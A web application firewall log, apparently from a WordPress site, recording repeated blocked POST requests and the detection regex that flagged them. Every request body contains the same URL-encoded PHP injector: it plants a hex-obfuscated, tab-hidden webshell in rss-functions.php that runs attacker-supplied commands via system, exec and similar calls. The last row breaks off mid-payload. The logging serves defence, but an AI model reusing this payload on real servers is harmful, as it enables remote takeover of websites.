["2026-05-12 09:46:48","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> FN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:6197\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEx4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nFN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:50","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:6197\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqR4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\ntN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:52","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ul:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexi